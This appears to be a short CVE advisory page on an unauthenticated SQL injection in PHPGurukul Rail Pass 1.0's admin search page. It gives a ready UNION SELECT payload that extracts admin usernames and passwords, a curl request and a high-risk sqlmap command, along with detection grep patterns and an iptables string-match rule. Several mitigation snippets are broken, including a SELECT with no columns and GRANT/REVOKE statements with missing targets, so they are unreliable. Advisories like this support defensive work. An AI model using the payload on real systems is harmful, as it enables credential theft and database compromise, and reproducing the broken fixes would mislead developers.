How CVE-2025-4039 Works
The vulnerability exists in `/admin/search-pass.php` due to improper sanitization of the `searchdata` parameter. Attackers can inject malicious SQL queries through this parameter, which are then executed by the backend database. This occurs because user-supplied input is directly concatenated into SQL statements without prepared statements or input validation. The flaw allows unauthorized database access, enabling data theft, manipulation, or deletion. Remote exploitation is possible without authentication, making it critical.
DailyCVE Form
Platform: PHPGurukul Rail Pass
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 04/29/2025
What Undercode Say:
Exploitation
1. Craft malicious payload:
' UNION SELECT 1,2,3,4,5,group_concat(username,password),7,8 FROM admin--
2. Send via GET/POST:
curl -X GET "http://target.com/admin/search-pass.php?searchdata=' UNION SELECT 1,2,3,4,5,6,7,8-- -"
Detection
1. SQLi fingerprinting:
sqlmap -u "http://target.com/admin/search-pass.php?searchdata=test" --risk=3 --level=5
2. Log analysis:
grep "UNION|SELECT|--" /var/log/apache2/access.log
Mitigation
1. Patch: Apply vendor fixes.
2. Input sanitization:
$searchdata = mysqli_real_escape_string($conn, $_GET['searchdata']);
3. Prepared statements:
$stmt = $conn->prepare("SELECT FROM passes WHERE data LIKE ?");
$stmt->bind_param("s", $searchdata);
Analytics
1. Impact: Full database compromise.
2. Attack vector: Remote, unauthenticated.
3. Exploitability: Trivial with public PoCs.
Firewall Rules
iptables -A INPUT -p tcp --dport 80 -m string --string "UNION SELECT" --algo bm -j DROP
Database Hardening
REVOKE ALL PRIVILEGES ON . FROM 'webuser'@'%'; GRANT SELECT ON rail_db. TO 'webuser'@'localhost';
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
